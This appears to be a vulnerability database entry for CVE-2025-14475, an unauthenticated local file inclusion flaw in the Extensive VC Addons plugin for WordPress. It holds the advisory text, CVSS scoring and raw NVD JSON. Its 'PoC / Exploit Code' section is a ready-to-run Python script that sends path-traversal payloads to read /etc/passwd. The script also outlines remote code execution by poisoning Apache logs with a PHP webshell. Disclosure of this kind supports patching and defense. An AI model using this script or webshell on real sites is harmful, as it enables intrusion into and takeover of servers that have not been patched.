Security Vulnerability Report
中文
CVE-2025-14475 CVSS 8.1 HIGH

CVE-2025-14475

Published: 2025-12-13 16:16:50
Last Modified: 2026-04-15 00:35:42

Description

The Extensive VC Addons for WPBakery page builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.9.1 via the `extensive_vc_get_module_template_part` function. This is due to insufficient path normalization and validation of the user-supplied `shortcode_name` parameter in the `extensive_vc_init_shortcode_pagination` AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary PHP files on the server, allowing the execution of any PHP code in those files via the `shortcode_name` parameter.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Extensive VC Addons for WPBakery <= 1.9.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14475 PoC - Local File Inclusion in Extensive VC Addons WordPress Plugin # Target: WordPress site with Extensive VC Addons plugin <= 1.9.1 def exploit_lfi(target_url, file_path='../../../../../../../../etc/passwd'): """ Exploit the LFI vulnerability via AJAX action 'extensive_vc_init_shortcode_pagination' Args: target_url: Base URL of the vulnerable WordPress site file_path: Path to the file to include (default: /etc/passwd) Returns: Content of the included file """ # WordPress AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Payload with path traversal to include arbitrary files data = { 'action': 'extensive_vc_init_shortcode_pagination', 'shortcode_name': file_path, 'extensive_vc_pagination': '1' } try: response = requests.post(ajax_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def exploit_rce(target_url): """ Remote Code Execution via LFI + Log Poisoning Steps: 1. Poison PHP session log with webshell 2. Include the log file via LFI 3. Execute arbitrary commands """ ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Step 1: Poison the access log with PHP code log_poison_payload = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Note: This requires ability to write to log files (Apache access_log) # Step 2: Include the poisoned log file log_file_path = "../../../../../../../../var/log/apache2/access.log" cmd_url = f"{target_url}/wp-admin/admin-ajax.php?action=extensive_vc_init_shortcode_pagination&shortcode_name={log_file_path}&cmd=id" try: response = requests.get(cmd_url, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14475.py <target_url> [file_path]") print("Example: python cve-2025-14475.py http://target.com ../../../../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '../../../../../../../../etc/passwd' print(f"[*] Targeting: {target}") print(f"[*] Attempting to read: {file_to_read}") result = exploit_lfi(target, file_to_read) print("\n[+] Result:") print(result[:2000] if len(result) > 2000 else result)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14475", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:50.477", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Extensive VC Addons for WPBakery page builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.9.1 via the `extensive_vc_get_module_template_part` function. This is due to insufficient path normalization and validation of the user-supplied `shortcode_name` parameter in the `extensive_vc_init_shortcode_pagination` AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary PHP files on the server, allowing the execution of any PHP code in those files via the `shortcode_name` parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/extensive-vc-addon/tags/1.9.1/lib/helpers-functions.php#L78", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/extensive-vc-addon/tags/1.9.1/shortcodes/shortcodes-functions.php#L122", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/extensive-vc-addon/tags/1.9.1/shortcodes/shortcodes-functions.php#L142", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/extensive-vc-addon/trunk/lib/helpers-functions.php#L78", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/extensive-vc-addon/trunk/shortcodes/shortcodes-functions.php#L122", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/extensive-vc-addon/trunk/shortcodes/shortcodes-functions.php#L142", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/49711408-5d04-4fdd-a6c4-b224959ba1bc?source=cve", "source": "[email protected]"}]}}